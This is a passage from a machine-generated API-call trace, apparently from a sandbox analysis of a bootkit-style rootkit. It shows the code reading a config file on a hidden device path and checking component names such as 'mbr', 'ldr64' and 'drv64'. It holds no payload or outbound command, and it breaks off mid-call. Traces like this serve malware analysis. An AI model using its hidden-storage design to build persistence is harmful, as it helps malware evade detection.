(in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.218] KeEnterCriticalRegion () [0122.218] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.218] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c50000 [0122.218] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.218] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.218] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.218] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.218] IdePortDispatch () returned 0x103 [0122.218] KeWaitForMutexObject () returned 0x0 [0122.218] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.218] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.218] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.218] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.218] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.218] IdePortDispatch () returned 0x103 [0122.218] KeWaitForMutexObject () returned 0x0 [0122.219] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.219] KeLeaveCriticalRegion () [0122.219] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.219] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.219] KeEnterCriticalRegion () [0122.219] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.219] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.219] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.219] KeLeaveCriticalRegion () [0122.219] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.219] KeEnterCriticalRegion () [0122.219] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.219] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.219] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bd6630, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.219] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.219] KeLeaveCriticalRegion () [0122.219] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.219] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.219] KeEnterCriticalRegion () [0122.219] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.219] ExFreePoolWithTag (P=0xfffffa8003be4c50, Tag=0x0) [0122.219] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.219] KeLeaveCriticalRegion () [0122.220] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.220] ReleaseMutex (hMutex=0xf0) returned 1 [0122.220] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.220] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.220] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.220] KeEnterCriticalRegion () [0122.220] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.220] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.220] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.220] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.220] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.220] IdePortDispatch () returned 0x103 [0122.220] KeWaitForMutexObject () returned 0x0 [0122.220] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.220] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.220] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.220] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.220] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.220] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be3010 [0122.220] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.220] KeLeaveCriticalRegion () [0122.220] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.220] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.220] KeEnterCriticalRegion () [0122.220] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.220] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.220] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.220] KeLeaveCriticalRegion () [0122.220] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.220] KeEnterCriticalRegion () [0122.220] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.220] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.220] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.220] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.220] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.220] IdePortDispatch () returned 0x103 [0122.221] KeWaitForMutexObject () returned 0x0 [0122.221] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.221] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.221] KeLeaveCriticalRegion () [0122.221] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.221] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.221] KeEnterCriticalRegion () [0122.221] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.221] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c51000 [0122.221] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.221] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.221] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.221] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.221] IdePortDispatch () returned 0x103 [0122.221] KeWaitForMutexObject () returned 0x0 [0122.221] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.221] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.221] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.221] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.221] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.221] IdePortDispatch () returned 0x103 [0122.221] KeWaitForMutexObject () returned 0x0 [0122.221] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.222] KeLeaveCriticalRegion () [0122.222] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.222] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.222] KeEnterCriticalRegion () [0122.222] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.222] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.222] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.222] KeLeaveCriticalRegion () [0122.222] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.222] KeEnterCriticalRegion () [0122.222] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.222] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.222] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be38c0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.222] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.222] KeLeaveCriticalRegion () [0122.222] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.222] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.222] KeEnterCriticalRegion () [0122.222] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.222] ExFreePoolWithTag (P=0xfffffa8003be3010, Tag=0x0) [0122.222] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.222] KeLeaveCriticalRegion () [0122.222] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.222] ReleaseMutex (hMutex=0xf0) returned 1 [0122.222] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.222] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0122.223] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.223] KeEnterCriticalRegion () [0122.223] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.223] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.223] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.223] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.223] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.223] IdePortDispatch () returned 0x103 [0122.223] KeWaitForMutexObject () returned 0x0 [0122.223] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.223] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.223] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.223] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.223] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.223] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be4d00 [0122.223] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.223] KeLeaveCriticalRegion () [0122.223] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.223] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.223] KeEnterCriticalRegion () [0122.223] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.223] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.223] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.223] KeLeaveCriticalRegion () [0122.223] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.223] KeEnterCriticalRegion () [0122.223] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.223] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.223] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.223] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.223] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.223] IdePortDispatch () returned 0x103 [0122.223] KeWaitForMutexObject () returned 0x0 [0122.224] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.224] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.224] KeLeaveCriticalRegion () [0122.224] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.224] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.224] KeEnterCriticalRegion () [0122.224] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.224] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c52000 [0122.224] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.224] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.224] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.224] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.224] IdePortDispatch () returned 0x103 [0122.224] KeWaitForMutexObject () returned 0x0 [0122.224] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.224] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.224] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.224] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.224] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.224] IdePortDispatch () returned 0x103 [0122.224] KeWaitForMutexObject () returned 0x0 [0122.224] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.224] KeLeaveCriticalRegion () [0122.224] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.225] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.225] KeEnterCriticalRegion () [0122.225] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.225] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.225] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.225] KeLeaveCriticalRegion () [0122.225] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.225] KeEnterCriticalRegion () [0122.225] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.225] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.225] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be4dc0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.225] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.225] KeLeaveCriticalRegion () [0122.225] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.225] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.225] KeEnterCriticalRegion () [0122.225] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.225] ExFreePoolWithTag (P=0xfffffa8003be4d00, Tag=0x0) [0122.225] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.225] KeLeaveCriticalRegion () [0122.225] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.225] ReleaseMutex (hMutex=0xf0) returned 1 [0122.225] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0122.225] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0122.225] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0122.225] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0122.225] KeEnterCriticalRegion () [0122.225] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.225] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.225] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.225] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.225] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.226] IdePortDispatch () returned 0x103 [0122.226] KeWaitForMutexObject () returned 0x0 [0122.226] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.226] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0122.226] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.226] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.226] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.226] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.226] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.226] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.226] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.226] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0122.226] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.226] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.226] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.226] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.226] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.226] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.226] KeLeaveCriticalRegion () [0122.226] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.226] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0122.226] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0122.226] KeEnterCriticalRegion () [0122.226] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.226] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.226] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.226] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.226] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.226] IdePortDispatch () returned 0x103 [0122.226] KeWaitForMutexObject () returned 0x0 [0122.226] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.226] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0122.227] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.227] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.227] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.227] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.227] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.227] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.227] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.227] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0122.227] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.227] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.227] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.227] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.227] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.227] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.227] KeLeaveCriticalRegion () [0122.227] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.227] ReleaseMutex (hMutex=0x100) returned 1 [0122.227] Sleep (dwMilliseconds=0x2bf20) [0122.233] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6c0eae50, dwHighDateTime=0x1d24fa4)) [0122.233] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0122.233] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.233] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.233] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.233] KeEnterCriticalRegion () [0122.233] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.233] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.233] IoAllocateMdl (in: 